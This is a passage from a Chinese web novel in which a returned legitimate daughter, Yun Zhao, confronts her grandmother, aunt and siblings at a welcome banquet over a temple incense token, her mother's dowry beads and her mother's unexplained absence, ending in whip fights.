姜世安眸色深沉,凝视云昭:“是父亲先前考虑不周了。栖梧苑,心儿确实住了多年,如今你既归来,姊妹之间互换院落,也在情理之中。至于婚约……”
他话锋一转,语气陡然变得谨慎,“终究是天家之事,并非我姜家可自行决断,一切还需仰赖陛下和太后娘娘的恩典。”
“父亲!”姜珩急呼,满脸不忿。
二房和三房也都惊讶地看着姜世安。
老夫人虽性格强势,却深知家中荣辱皆系于长子一身,见他已然表态,到嘴边的驳斥硬生生咽了回去,只是脸色愈发阴沉。
姜绾心见状,只觉一阵天旋地转,啜泣声陡然变得真切而尖锐。
她不是演的,是真真切切的心如刀割!
栖梧苑是她七岁那年,闹了一场高烧,吃了不少苦头,才从父亲那儿求来的。
如今云昭轻描淡写一句话,就要全部夺走?
更别说,尚书府的库房里不知有多少她只听老夫人念叨过、却连见都没见过的奇珍异宝!
云昭竟能登堂**,随意取用?
此事若是传入东宫,太子殿下会如何看待她?还会如以往那般重视她吗?
父亲……真是老糊涂了!
姜绾心委屈万分地靠在老夫人身边,眼泪淌得更凶,心底涌起一股被背叛的冰冷恨意。
云昭却在这时,朝姜绾心温柔一笑:“妹妹,别难过。你若真喜欢栖梧苑,日后可以经常过来我院里,今日在车厢,我的故事还没讲完呢。”
她的小师妹,小小的身子被一刀砍成两截,直到咽气,嘴里都在呢喃着“师姐”。
她最敬爱的师父,花白的头颅被当众割下,至死都在担忧凝望着她的方向。
还有最疼爱她的师姐,她那三位原本惊才绝艳的师兄……清微谷满门七十七条人命,都只为了铺就姜绾心的东宫之路!
她还有很多故事,要慢慢和姜绾心、姜珩这对“郎情妾意”的兄妹,好好算个清楚明白!
第12章 天定凤命,她偏要碾碎之后亲手夺回!
“心儿不哭!祖母知道你受委屈了!稍后你也去库房,只管挑你喜欢的!”
老夫人被姜绾心哭得心头火起,口不择言骂道:“野种就是野种,就算……”
“老夫人慎言。”严嬷嬷昂首上前,面容冷峻,“我家小姐乃是姜尚书嫡亲血脉,更是长公主殿下亲认的义女!
老夫人方才所言,辱及皇家颜面,乃大不敬之罪!”
“大不敬”三字,如惊雷炸响。
老夫人未骂完的污言秽语生生噎在喉头,一张老脸涨得紫红,剧烈地咳嗽起来,看向严嬷嬷的眼神里充满了惊惧。
原本作壁上观的众人此刻也纷纷色变,彼此交换着惊疑不定的眼神。
再看云昭时,众人的目光已彻底不同,或审慎忌惮,或暗藏算计,或已带上几分逢迎讨好。
谁也没料到,这位新归家的嫡小姐,自身手段凌厉不说,竟还有长公主如此强硬的靠山!
姜世安只觉额角青筋突突直跳,被这闹剧搅得心烦意乱,挥袖斥道:“都堵在门口,成何体统!”
经他一声呵斥,众人这才惊觉,竟在府门外大街上争执半晌,平白让人看了笑话,忙悻悻然簇拥着入了府门。
*
栖梧苑。
负责洒扫收拾的仆役彼此递着眼色,动作不约而同地拖沓迟缓。
他们原是姜绾心院中的人,若此时卖力,反倒得罪了旧主。
正磨蹭间,身穿青衣的莺时稳步踏入,目光淡扫院落,并未扬声,只对身后几名玄甲侍卫淡声道:“去帮帮忙。”
侍卫们个个身形高大,按刀而入,凛冽气势无声压人。
那群仆役霎时面无人色,再不敢怠慢,不过小半个时辰,整座院落内外就已洒扫洁净、箱笼齐整,效率惊人。
云昭抱着狗儿静立廊下,冷眼将一切尽收眼底。
她目光掠过一众仆役,落在其中一个约莫十岁出头、身形瘦小的小丫头身上,朝她招了招手,递过一张刚写好的药方并一块碎银:“去,抓服药来。”
不多时,严嬷嬷领着人浩浩荡荡归来,携回诸多箱笼物件。
屋内陈设焕然一新:
临窗案头设白玉笔山与青瓷水盂,琉璃香炉吐出袅袅沉香,雕花床榻上铺着干净暄软的锦褥,一架四季如意屏风分隔内外,处处清雅,隐见贵气。
严嬷嬷近前,故意笑着凑趣:“方才去取东西,瞧见二房那杨氏,眼睛瞪得活似乌眼鸡,紧瞅着咱们一样接一样地取东西。老奴活了这把年纪,可真没见过这般没个体统的。”
云昭闻言淡淡一笑:“那是因嬷嬷久在公主府,义母规矩严明,御下有方。
姜府这地方,上梁不正下梁歪,一窝子歪心烂肠的,怎能相比?”
严嬷嬷一怔,本想转圜几句,云昭却已抬眼看来:
“嬷嬷今日一直跟在我身边,可曾见我母亲院里的人露过面?”
严嬷嬷回想片刻,不禁敛了笑意,低声道:“从前听人说,夫人这些年在家中静养,一向不爱理会外事。兴许……只是还不知道姑娘已回府?”
云昭不言不语。
一个母亲,若真心惦记失散了十六年的亲生女儿,岂会如此寂然无声?
即便病得不能起身,也该遣心腹之人来看一眼、问一句。
如今这般风平浪静,只能说明,在她那位素未谋面的母亲心里,她这个血脉相连的亲女,远比不过那个她亲手抚养长大、朝夕相对的姜绾心。
严嬷嬷觑着云昭冷淡的侧脸,心底暗暗叹息,识趣地闭紧嘴巴。
去抓药的小丫头跑了回来,满头是汗。
云昭将药材逐一摊开在桌上,配药的空当,跟严嬷嬷要了一串品相寻常的珍珠,碾碎几颗作细粉掺入其中,又命人去唤仍在门外忙碌的莺时。
莺时应声而入。
她脸上已薄薄敷过一层药,瞧着红肿略消,但被扇子刮出的伤痕仍狰狞可见。
她一进来,就跪地谢恩:“今日在府中,幸得姑娘妙手修复羽簪,奴婢才侥幸捡回一条命。
殿下将奴婢赐给姑娘,从今往后,莺时就是姑娘的人了,愿效死力!”
“什么死不死的,这话没意思。往后不要再说了。”云昭扶她起身,“从今往后,我们都要好好地活。”
她将新调的药膏装入一枚圆盒子,递给莺时:“女孩家的脸,还是别留疤。”
“多谢姑娘……”莺时珍惜地双手捧住药盒,眼眶骤红:“自奴婢娘亲去后,再无人待我这般好。”
严嬷嬷在一旁看着,亦不由动容,她忍不住出声劝道:
“姑娘,纵一时见不到夫人,院里人事也须尽早安排,丫鬟婆子总该采买几个,纵非自幼相伴,也强过让那边塞人进来。”
“嬷嬷
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,近来京中可有什么瞩目的盛事?”云昭眸光微转,轻声问道,
“类似今日义母这般宴席,能引得京中勋贵尽数到场的。”
严嬷嬷细细思量片刻,回道:“京城贵人云集,各类宴席自然不少,宫中饮宴,老奴所知不详。但若论宫外,能及得上长公主殿下这般规格的,月内倒是没有。
若说最热闹、最引人瞩目的,当属下月初八碧云寺的佛诞法会。
届时不仅满城百姓会前往进香祈福,京中诸多勋贵人家,乃至皇室宗亲,也大多会亲临拈香,祈求佛佑。”
云昭心念微动:“义母赠我的那张彩笺……”
“正是为此!”严嬷嬷语气肯定地补充道,“小姐有所不知,碧云寺的闻空大师有道是‘十年一卜,只批凤命’。
往前数十年,有幸得大师批语的那两位贵女,后来皆印证了皇后之尊!
而今年,这莫大的机缘,便会落在佛诞日奉上第一炷香的贵客身上。”
云昭眼底掠过一丝冰冷的了然。
原来如此。
这一世,姜珩未能如前世那般,在屠灭清微谷后,顺利将她这个“养料”掌控在手。
没了她这具身负凤格、可供掠夺的躯壳,没了那枚至关重要的玉佩,他们自然要另辟蹊径。
姜绾心即便顶着尚书嫡女的名头,又得了太后几分青眼,但京中贵女如云,仅凭这些,想要稳稳踏入东宫,还远远不够。
若能得佛门高僧一句“凤命天定”的批语,戴上这层“天命所归”的光环——
才是足以让她压倒所有竞争者,拥有让东宫乃至朝野都无法质疑的有力筹码。
难怪姜绾心今日看她时,眼神深处藏着几乎要溢出来的嫉恨与焦灼。
无论是姜绾心,还是她身后的姜家,都绝无可能甘心让这象征后位的“天命”,落在她这个突然归来的真正嫡女头上。
云昭唇角缓缓勾起一抹清浅却冰冷的笑意:“也好……这样就更有意思了!”
既然这是姜绾心梦寐以求的,是姜家不惜沾满鲜血也要为她铺就的青云路——
那这所谓的“天定凤命”,她云昭,还就偏要亲手碾碎,从她手中夺过来!
她抬眸看向严嬷嬷与莺时,迎着两人略显困惑的目光,语气淡然却意味深长:
“看来,今晚这家宴,注定不会平静了。”
第13章 她是假千金的生母?
云昭收拾停当,带着莺时,依照来时模糊的记忆,往家宴所在的厅堂行去。
府邸路径曲折,无人引路,主仆二人不觉间,已误入一片竹林。
竹叶沙沙,更衬得四下寂静。
莺时让云昭在原地稍候,自己则快步向前方一位正打着水的丫鬟走去,欲要问路。
恰在此时,小径的另一头,两名身材高壮、面色沉凝的男仆抬着一副担架,步履匆促地经过。
担架上覆着厚厚的衾被,遮盖得严严实实,唯有一角泄出几缕花白的发丝,一只苍白枯瘦的手,无力地垂在一旁。
云昭嗅到一股极浓重怪异的药味,不由蹙紧眉头,目光追随着那副担架。
两个男仆似有所觉,脚步愈发加快,近乎小跑着绕过一丛茂密的翠竹,瞬间便消失了踪影,只留下竹枝微微晃动的痕迹。
“那是何人?”云昭转向那打水的丫鬟,出声询问。
丫鬟始终低垂着眼,声音细若蚊蚋:“回大小姐的话,许是……哪个院里得了重病、不宜挪动的老仆吧?听闻是家里人来接了,这才急着抬出府去。”
问清了路,主仆俩相携继续朝前走去。
云昭默然不语,方才那惊鸿一瞥在心头萦绕,一种难以言说的憋闷盘踞在心间,久久挥之不去。
*
积翠阁内,灯火通明,映得屋内如同白昼。
云昭身穿一袭月色常服,唯颈间一串赤珊瑚串珠灼灼如火,愈发衬得她秾丽照人,姿容夺目。
刚一踏入,二房夫人杨氏便热络迎上来,笑容殷切:“大姑娘可算来了!我是你二婶婶,今日正好为你引见家中亲长。”
她引云昭一一见礼:“你二叔早些年被一场风寒夺了性命,留下我们孤儿寡母。这是绾宁,白日在公主府宴上,你见过的。她下头还有个弟弟,名唤阿珏,如今在书院进学,今日不在府中。”
“这是你三叔,三婶温氏,还有这两位,是你的妹妹,绾棠今年十四,绾荔七岁。”
云昭从容施礼,接过二房三房备下的见面礼,声线温润却疏离:“仓促归家,未及备礼。待过两日安顿妥当,再为妹妹们补上心意。”
众人自是客气笑应,场面一时倒也和睦。
云昭眸光流转,落定在坐在老夫人下首的女子身上。
那女子保养得宜,看上去仿佛不过三十出头似的。周身装扮低调,实则处处精细,衣料是上好的软缎,发间的几枚翡翠小钗与耳垂儿上的一对翡翠耳环,浓翠欲滴,价值不菲。
更有小丫鬟在旁殷勤伺候,递上茶水点心,姿态恭敬。
恰在此时,姜珩和姜绾心兄妹二人并肩走入。
那女子一见姜绾心,立刻露出慈爱笑容,柔声招手:“心儿,快过来。你兄长回来就念叨,说定要让你饭前先用一盅血燕。我一直温着呢,就等你来。”
姜绾心亦十分自然地走上前,亲昵地依偎在她身侧,就着她的手尝了一口,语带娇憨:“还是您疼我,今日在外头,就想着这一口呢。”
姜珩在一旁颔首,语气是罕见的温和:“心儿今日受了惊吓,合该好生补一补。”
三人言笑晏晏,俨然一幅母慈子孝、兄妹情深的温馨画卷。
云昭冷眼瞧着,胸中一股郁气骤起。
她盯着那被姜绾心紧紧依偎的女子,嗓音清冷道:“孩儿流离在外十六载,今日终得归家,母亲竟无只言片语相询吗?莫非在母亲心中,早已忘了还有我这么一个女儿?”
此言一出,满堂皆寂。
方才还浮于表面的笑语瞬间冻结,众人神色各异,惊诧、尴尬、乃至一丝隐秘的讥诮,在交换的眼神中无声流淌。
杨氏反应最快,忙不迭地干笑两声,上前打圆场:“哎哟瞧我这记性!竟忘了给大姑娘说明白。这位是梅娘子,并非夫人。
她是老爷一位故交同乡的妹妹,家中逢了变故,孤身一人无所依靠,加之昔年曾对老夫人有救护之恩,老爷仁厚,便留在府中照应。”
梅柔卿亦顺势朝云昭轻轻颔首,笑容温婉得体,不见半分窘迫:“大姑娘安好。今日大姑娘归家,是天大的喜事,府中
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上下无不欢欣。”
云昭目光扫过梅柔卿怡然端坐的姿态,看着那本该属于主母的座位,心中疑窦更深。
她蹙眉追问杨氏:“二婶的意思是,如今府中中馈,是由这位梅娘子掌管?”
若非主持中馈,何能安坐此位,享受这般尊荣?
席间霎时静得落针可闻。
老夫人面沉如水,手中茶盏重重往案上一墩:“放肆!长辈的事,岂容你一个未出阁的姑娘妄议!”
“这与出阁何干?”云昭眉目澄澈,“我问明身份,是为日后行事称呼方便,以免失了礼数,徒惹不快。难道这府中,竟问不得一句实话么?”
梅柔卿忙柔声接口,姿态放得极低:“大姑娘唤我一声‘梅姨’便是。”
“我并非掌管中馈,不过平日得蒙老夫人不弃,陪着说说话解解闷,遇事时从旁搭把手罢了,万万当不得家。”
云昭却不肯就此应下这模糊的称呼。
她语气平淡,透着不容错辨的疏离:“听闻我母亲苏氏乃是家中独女,只有兄弟,并无姊妹。这声‘姨’,我可叫不出口。”
她略一停顿,目光清凌凌地落在梅柔卿身上,“既是客居府中的娘子,不如,便依礼称一声‘梅姑’吧。”
“梅姨”与“梅姑”,一字之差,亲疏立判,尊卑亦悄然转换。
满座神色顿时变得极为精彩。
三房的两位姑娘赶紧低下头,肩膀微颤,强忍笑意。
素来任性惯了的姜绾宁却干脆没忍住,“噗嗤”一声笑了出来,又慌忙掩口。
梅柔卿颊边笑容不变,依旧温婉大度:“姑娘是府上正经的大小姐,想如何称呼,自然都由得姑娘心意。”
然而,就在梅柔卿抬首浅笑的刹那,云昭眸光倏然一凝。
此刻她才恍然发觉,方才自己会认错,并非全无道理——
除却那僭越的座位、怡然自洽的姿态,梅柔卿的眉眼相貌,与那姜绾心竟有七八分相似。
尤其这一笑之间,两人那婉转的神态,几乎是从一个模子里刻出来的。
第14章 全家为凤命逼抢彩笺
姜绾心的目光却在云昭出现时,就凝在她颈间的珊瑚珠串上,眼底嫉恨交织,暗潮汹涌。
她觉得云昭一定是故意的。
自己才被长公主没收了太后御赐的珊瑚宝扇,转眼,云昭便戴这珊瑚珠串现身,不是存心挑衅又是什么?
云昭迎上她视线,唇角微扬——她确实就是故意的。
“昭姐姐的珠串好漂亮。”三房绾荔忽然小声开口:“我娘有一对珊瑚耳坠,远不及这般浓艳。”
“多嘴。”三夫人忙将绾荔拽到身后,悄悄瞟了老夫人一眼。
老夫人阴沉的目光扫过云昭,忽然开口:“老二家的,我恍惚记着,库里还收着对儿翡翠福镯,还是我年轻时戴的,都说那水头极好。
原想着今日家宴,拿出来给昭丫头添个喜气,怎的还没送来?”
杨氏立即心领神会,故作懊恼地拍了下额头:“瞧我这记性!母亲恕罪,东西早取来了,就等着您发话呢。”
她说着,从身后嬷嬷手中接过一个铺着暗红色绒布的托盘,上面果然躺着一对镯子。
杨氏笑容满面地走向云昭:“昭丫头,快瞧瞧,这可是老夫人特意赏你的好东西。
还不快戴上,让大家伙儿都跟着沾点老夫人的福气!”
云昭目光扫过那镯子,成色至多算中等,且明显是年代久远的旧物,绝非什么“水头极好”的珍藏。
她心中冷笑,面上却不显:“谢祖母赏。”说着,便伸手去拿。
就在云昭指尖即将碰到镯子的瞬间,杨氏手腕极其隐蔽地猛地一抖一撤——
“啪嚓——!”一声刺耳的脆响!
那对翡翠福镯从托盘边缘滑落,重重砸在地上,摔得四分五裂!
“哎呀!”杨氏惊呼。
她猛地后退一步,指着地上碎片,痛心疾首:“阿昭你——这可是老夫人的一片慈心啊!”
“天打雷劈的败家玩意儿!”老夫人脸色铁青:“好心赏你东西,却如此糟践!果真是个没福气的短命秧子!晦气!”
杨氏赶忙上前,为老夫人拍着背顺气:“母亲息怒,千万保重身子!昭丫头她……到底不是在府中长大的。
这些年流落在外,怕是沾染了不少那些个江湖人的凶煞气,与福缘深厚的宝贝天生相冲啊!”
这话可说到老夫人的心坎上。
“老二家的说得在理。”她立即道,“说起来,那碧云寺的头香彩笺,岂能由一个福薄命硬之人掌管?没得坏了运道!
昭丫头,你这就将彩笺交出来,让给心儿。心儿命格贵重,福运昌隆,由她拿着彩笺,那才是真正为家门祈福!”
云昭听到此处,眼底浮起一抹戾气。
福薄命硬?
她确实命够硬!
她想起前世那个不见天日的暗室,想起冰冷的银管刺入血脉,想起周身血液被一点点抽干时的彻骨寒意。
姜绾心若真的福缘深厚,前世何以用得着抽她的血、借她的运?
一想到姜家上下,竟将这等吸食他人骨血、掠取他人气运的渣滓,奉为“福星”,云昭就觉得可笑至极!
也……可恨至极!
一直冷眼旁观的姜珩沉着脸开口:“祖母、二婶,你们有所不知。今日在长公主殿下的春日宴上,这彩头本就该是心儿所得。”
他目光冷睇,扫过云昭,“是有人,行止不端,故意构陷,污蔑心儿的画作有毒,当众用茶水毁去心儿的画作,这才霸占了这头香的彩头。”
“还有此事?”杨氏倒抽一口冷气。
姜绾宁赶忙接话,说得又急又快,生怕旁人不信:“堂兄说的千真万确!我们都是亲眼所见!
就是因为她,害得心儿姐姐被长公主申饬,还拿走了太后娘娘赏赐的宝扇呢!”
三房夫妻闻言,面面相觑;两位姑娘绾棠、绾荔也瞪大了眼,呆呆看向云昭。
“什么?!”老夫人还是刚得知此事,一口气没上来,憋得满脸通红。
“丧门星!”她猛地一拍桌子,枯瘦的手颤颤指着云昭,“我们姜家是造了什么孽,迎回来这么个搅家精!”
“祖母,您快别动气了。”姜绾心垂下脸,纤纤玉指搅着帕子,语带哽咽:“算了,都过去了。无论如何,姐姐能回来,咱们一家团圆,终归是天大的喜事。”
她这番情态说辞,越发显得委曲求全。
姜珩见状,更是痛心疾首:“心儿,你就是太过纯善,处处为人着想,才总叫小人欺侮了去。”
老夫人连
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连拍桌,砰砰作响:“听见没有!把彩笺拿出来!既是你害得心儿失了太后娘娘赏赐的宝扇,正好拿彩笺来抵!”
云昭忽地轻笑一声。
这笑声不大,却清晰地刺破了凝滞的空气,满堂皆是一怔。
她目光慢悠悠扫过面色各异的众人:“祖母,二婶,兄长,你们劳师动众,演了这么一出大戏,摔了一对不值钱的旧镯子,还给我扣上‘福薄命硬’的帽子——”
她语调微微拖长:“绕了这么大一圈,废了这么多口舌,说到底,不就是为了我手上碧云寺的头香彩笺。”
“想要?”她轻挑眉,语气轻飘飘的,“都是一家人,直说不就好了。”
老夫人闻言,脸色稍霁,硬邦邦地道:“既知道,那便痛快拿出来!”
“我拿出来,谁敢接吗?”云昭声音陡然一厉,“此物乃我义母长公主殿下亲赐!
你们这么想要,自个儿去公主府大门前,规规矩矩跪下,求殿下赏赐啊!”
杨氏被噎得心口发堵,咬牙道:“好个牙尖嘴利的泼辣丫头。”
云昭的目光钉在杨氏脸上:“二婶方才递过托盘时,稳如泰山,怎偏生我指尖将触未触之际,您这手腕就酥软无力了?”
杨氏被云昭的目光刺得心慌:“你休要血口喷人!自己手脚没个轻重,还想赖我?”
“赖你?”云昭唇角勾起一抹讥诮的冷笑,“这等下作手段,也配我费心栽赃?”
杨氏怒道:“你简直目无尊长!”
“还有兄长,”她转而看向姜珩,语气冰寒,“在公主府我‘栽赃陷害’、‘强夺彩头’之际,你这正义凛然的君子,怎么当时闷声不响,老实得像尊泥塑菩萨?
反倒回到自家关起门来,倒义正辞严,对着嫡亲妹妹,耍起你的威风来了?”
姜珩被这番连削带打的话,讽刺的脸上一阵红一阵白,他瞥开视线,冷声道:“巧言令色,毫无女子该有的贞静柔顺。”
云昭的目光重新落回老夫人身上:“至于祖母,您张口闭口,诅咒自家亲孙女福薄命硬。
您若真信因果、懂福报,最该修修口德,好好管管您这张嘴!否则日后下了阴司,只怕要先被牛鬼蛇神拖去拔舌地狱!”
第15章 一鞭子抽翻接风宴
“你敢咒我!”老夫人被气得几乎昏厥,胸口剧烈起伏:“你!你这个天打雷劈的小贱种——”
她骂声尖厉的破了音,一时间,什么污言秽语都往外冒。
梅柔卿赶忙上前,轻抚老夫人的背,声音柔得能滴出水来:
“老夫人息怒,千万保重身子!大姑娘想必不是故意的。只是从前在外头无人管束,刚回家,一时不适应咱们家里的规矩,也是有的。”
云昭冷眼瞥她:“合着我姜氏一门的规矩,就是一大家子合起伙来颠倒黑白,明抢豪夺?就是栽赃嫁祸,逼人下跪认错?”
她挺直脊梁,目光如炬,声音斩钉截铁:“我今日就把话放在这儿,想从我手上抢东西,用这等下作手段逼我就范——”
“绝无可能!”
“反了天了,你个孽障!”老夫人猛地一拍桌子,浑身的悍气都抖了出来,指着云昭厉声喝道,
“来人!给我把这小蹄子摁**!照脸扇!扇到她晓得啥叫孝道、啥叫规矩为止!”
两个膀大腰圆的粗使婆子早就候在一旁,闻声撸胳膊挽袖子,狞笑着直扑云昭而来。
杨氏冷眼瞅着,唇角压都压不住地轻松翘起。
“兄长……”姜绾心咬着唇别开脸,用绣帕半遮着,一副不忍卒睹的模样,指尖却紧紧绞着帕子,泄露了心底的急切。
“心儿别怕。”姜珩将半个身子挡在姜绾心面前。
“嚣张跋扈,有辱门风!毫无闺阁女子的端庄!”他负手而立,语气冰冷,眼神里透出一丝快意,“早该受些教训,清清她那肮脏的心肠!”
绾棠吓得眼圈泛红,连连去拽温氏的衣袖,温氏面有不忍:“婆母……”
“母亲在教导自家孙女该如何行事。”杨氏冷睇着她,“你若是个贤良淑德的,就别在这个节骨眼上乱说话!”
一直紧跟在云昭身旁的莺时再也忍不住,猛地冲上前,张开双臂死死护在云昭身前。
“不准动!我们姑娘是长公主殿下亲认的义女!你们谁敢动手!”
“呸!义女咋了?她既姓姜,就得守我姜家的规矩!”老夫人啐了一口。
她刚才一通嚷嚷,骂得起了瘾头,索性也懒得再端尚书府老夫人的架子,直接摆开性子斥道:
“她顶撞长辈、摔砸东西,无法无天!我今天就算打**她,那也是她自找的!天王老子来了,也管不着我管教自家孙女!”
莺时气得浑身发抖,眼泪在眼眶里打转:“你们就是串通好了!合起伙来欺负人!”
云昭从不将希望寄托在他人身上。
她抚住莺时的肩膀,将人拖回身边,手腕一抖,一道银鞭自袖中窜出!
银鞭快如闪电,飒如银龙,精准地卷住两个婆子肥硕的腰身,顺势猛地一甩——
“砰——哗啦啦——!”
两个婆子如同沉重的麻袋,被狠狠掼在丰盛的宴席之上!
杯盘碟碗瞬间炸裂,汤汁四溅,珍馐美馔混着碎瓷片,泼洒得到处都是!
“既然诸位本就不是诚心请我来吃饭的,”云昭手持长鞭,傲然而立,声音冷若寒霜,
“那就都别吃了。”
这一手甩鞭的功夫,姜绾心和姜珩在公主府是领教过的,可姜家其他人何曾见过这等阵仗?
老夫人和杨氏傻了眼,张着嘴,活像被掐住了脖子的老母鸡。
两个粗使婆子瘫在杯盘狼藉中,满头满脸的油污菜汁,被碎瓷片割得衣衫褴褛,发出杀猪般的惨嚎。
三房夫妻惊得交换了个眼神,暗自咋舌。
一旁的绾棠捉着妹妹绾荔的小手,双眸发亮,紧紧盯着云昭——
新回来的大姐姐不仅长得跟天仙似的,甩起鞭子来竟也这般厉害,真是又美又飒!
一片狼藉中,姜世安闻声匆匆赶来。
他目光扫过满地碎瓷残羹,掠过一张张惊惶不安的脸,沉声问道:“吵什么?”
他扫过满地狼藉,目光在众人惊惶的脸上掠过:“究竟发生了何事?”
杨氏立即道:“大伯,昭丫头砸碎了母亲赏的福镯,我不过说了她两句,让她好好向母亲磕头赔罪,她就发了好大的火,还动用鞭子,打了母亲身边的两位嬷嬷。”
老夫人捂着心口道:“世安,你这丫头我是教不了了。对祖母
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不孝,对长辈不敬,下手狠毒,满嘴狡辩!”
她狠声道,“依我说,要想扭过来这丫头的性子,须得动用家法!”
家法?众人不由一怔。
三爷姜世忠道:“母亲,孩子还小,慢慢教也就是了,犯不着要动用家法这一步。”
杨氏刚想说什么,但看到姜世安的脸色,又把话咽了回去。
姜世安脸色稍霁:“阿昭刚回家,摔碎了母亲的玉镯,想必她心里也难受,母亲就不要过多苛责了。”
又对云昭道,“阿昭,你过来,给祖母赔个不是,这件事也就揭过了。”
云昭走过来,站在姜世安身边,对着老夫人浅浅一笑:
“尽管此事起始是二婶没拿稳托盘,才致镯子摔碎,祖母又逼我拿出长公主所赐的彩笺让给妹妹,但我知,咱们都是一家人。
有些话说开,也就过去了。祖母、二婶——”云昭看向她们两个:“我不怪你们了。”
老夫人气得脸色红涨:“世安,你瞧见了!她这是什么态度!”
杨氏也道:“分明是当时昭丫头她……”
姜世安眸光一沉,打断众人:“什么彩笺?”
满堂顷刻间鸦雀无声。
姜世安神色冷厉看向姜珩,声线沉肃;“珩儿,你来说。”
姜珩眼帘轻耷:“是云昭打碎祖母的福镯在先,我们觉得,云昭应当为自己的过错有所表示……”
“你们?”姜世安目光扫向众人。
杨氏忙不迭地撇开视线。
三叔姜世忠嗫嚅着:“大哥……”
姜世安道:“你闭嘴。”
他对这个怯懦的庶出弟弟再了解不过,虽然能力一般,但胜在心性不错,不是那等兴风作浪之人。
姜珩见父亲动怒,姜珩的语气也不由急切起来:“父亲!此事本就是因云昭而起!您不知今日在公主府,实则是她……”
姜珩原想向父亲解释清楚,今日在公主府,分明是云昭设局在先,故意构陷,才害得心儿失了长公主的欢心,与头香彩笺失之交臂……
“糊涂!”姜世安未容他说完,扬手便是一记清脆的耳光!
第16章 为母亲鞭抽梅娘子
他脸色彻底冷了:“长公主亲赐之物,你也敢逼迫转赠?你将天家颜面置于何地!”
老夫人在一旁嘟囔:“既赏了咱们家,那就是咱自家的东西,如何处置不得?”
“母亲!”姜世安语气加重,隐含愠怒,“阿昭方才归家,你们这般相逼,岂不寒了孩子的心?”他强压火气,沉声道,“即便真要转让,也须她心甘情愿,岂有强取之理?”
他指着姜珩,厉声命令:“去祠堂跪着!静思己过!”
姜珩身形一僵,并未立即动弹。
他已非稚龄幼子。
不久前才蒙圣上钦点,高中状元,不日将入职翰林院,官拜从六品修撰——乃是同科进士中,独一份的殊荣。
就连当朝荣太傅亦曾赞他,“郎艳独绝,世无其二”。
自幼,生母苏氏体弱,他由祖母悉心抚养长大。
父亲虽一向严厉,却也悉心栽培,从未如今日这般,当众掌掴,毫不留情。
正当他胸中**翻涌之际,姜绾心忽地一步上前,泪光盈盈道:
“父亲,兄长这么做,全是为了我。若父亲要罚,便罚女儿吧!女儿愿代兄长受罚!”
姜世安看她一眼,语气稍缓:“心儿,你素来懂事,当知为父此举是为他好。让你兄长跪祠堂,是让他冷一冷脑子,日后莫再冲动行事。”
他又看向云昭,语气堪称和蔼:“阿昭,为父已罚过你兄长,此事就此揭过。至于你祖母和二婶,纵有不是,也是长辈,你莫要再计较了。”
姜绾宁在一旁小声嘀咕:“可她终究摔碎了祖母的镯子……”
“大伯莫怪宁儿多嘴。”杨氏立刻接过话头,语气殷切:
“这孩子就是个直心肠。自她父亲去后,多亏了老夫人时时看顾我们娘仨,她这是心疼祖母,一片孝心呐。”
姜世安盯着杨氏看了片刻,一时没说话。
姜绾宁像是得了鼓励,继续道:“她今日可是从公中库房里取走了不少好东西。
既摔了祖母的玉镯,理当拿出些更好的来献给祖母,这才算是全了孝道!”
“宁妹妹这话在理。”姜绾心柔声附和,眼睛却像黏在了云昭的颈间,
“我看阿姊这条串珠就极好,色泽纯正,寓意祥瑞,最适合献给祖母,既能压惊,又能全了阿姊的孝心。”
老夫人原本并未想到此节,被这两人你一唱我一和,目光也不由自主地瞟向那串珊瑚珠。
不知为何,她瞧着那珠串,竟觉得有几分眼熟,心底隐隐泛起一丝异样……
姜世安蹙起眉头,似是觉得这提议不失为一个平息事端的办法,遂开口道:“既如此,阿昭,你便……”
云昭却忽然笑了。
她抬手轻抚过颈间的珊瑚串珠,声音清冷:“这珊瑚串珠,确是严嬷嬷今日从库房取出,却并非姜家公中之物——
她目光锐利,扫过众人,一字一句道,“而是我母亲苏氏的嫁妆旧物。”
事实上,珊瑚串珠源自一整套珊瑚头面,不知何故被藏在一个积满灰尘的偏僻角落。
严嬷嬷也是打开匣子见了压在底下的字据,才知这是主母苏氏的私产。
“怎么,”云昭目光如刃,缓缓刮过在场每一张脸,“连我母亲的嫁妆,爹爹和祖母也要强夺吗?”
姜世安脸色一僵。
他本以为这珊瑚串珠是公中寻常物件,拿来平息母亲的怒火,也不算什么。
却不想,此物竟是苏氏的旧物。
但要让他当众承认,自己甚至连发妻的旧时嫁妆都没认出来,却是万万不能。
一片死寂之中,云昭环视着每一张神色各异的脸,积压了一晚的疑虑与愤懑再也按捺不住,声音陡然拔高,字字清晰:
“我尚有一事,百思不解。今夜既是为我接风的家宴,为何独独不见我母亲现身?是我归家之事,无人告知于她?”
她目光如炬,直刺人心,问出了那个最坏的猜想:“还是说……我母亲实则早已不在人世,你们一直对外隐瞒?!”
方才她误将梅柔卿认作苏氏时,见其对自己不闻不问,那一刻她心寒至极,甚至觉得自己找出母亲旧物佩戴试探的举动无比可笑。
之后虽知认错了人,可梅柔卿在府中微妙却超然的地位,与姜绾心惊人相似的容颜,
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以及老夫人与父亲对她近乎纵容的态度——
一个可怕的念头在她心中疯长。
这串珊瑚串珠,正好用来借力打力,逼姜家上下彻底露出马脚!
此言宛若惊雷炸响,满座骇然!
“你胡说八道什么!”杨氏率先回神,厉声呵斥。
“阿昭,快别胡思乱想。”梅柔卿笑容温婉,忙出声打圆场,“你母亲只是旧疾缠身,需要静养,受不得半点惊扰喧闹……”
温氏紧抿着唇不语,却悄然撇开了视线。
云昭冷眼观察着在场所有人的一举一动,不详预感愈发强烈,心中有了计较。
“阿昭,爹知你是思念母亲,心焦难耐。”姜世安放软了语气,带着安抚之意,
“今日是你归家的大喜日子,我们先安安生生把这顿饭用完。饭后,爹亲自带你去探望你母亲,可好?”
“我只是好奇得很。”云昭目光锐利,寸步不让,“究竟是何种重症,连亲生女儿归家都见不得一面?”
她唇角勾起一抹弧度,“恰巧,我于医术一道颇有心得,不若现下就带我过去一看究竟,也好让我这做女儿的,为母亲尽一尽孝心!”
“你!”姜父被顶撞得一时语塞,脸色难看。
梅柔卿见状,款步上前,温声软语地劝道:“阿昭,快少说两句吧。知道你心疼母亲,但也不能如此顶撞父亲、质疑祖母啊。
老夫人和二夫人让你赔礼,亦是为你着想,教你懂规矩、知礼数。你父亲如此温和劝解,你总也得听进去些,怎可如此曲解长辈好意?
听梅姨一句劝,快跪下认个错,此事便也算揭过……”
她话音未落,云昭眼神骤然一厉!
“教我规矩?你也配!”
声未落,鞭已至!
众人只觉眼前银光一闪,云昭手上的银鞭,已破空而出,毫不留情地抽向梅柔卿那张精心维护的脸!
“啪——!”一声无比清脆骇人的鞭响,骤然炸开!
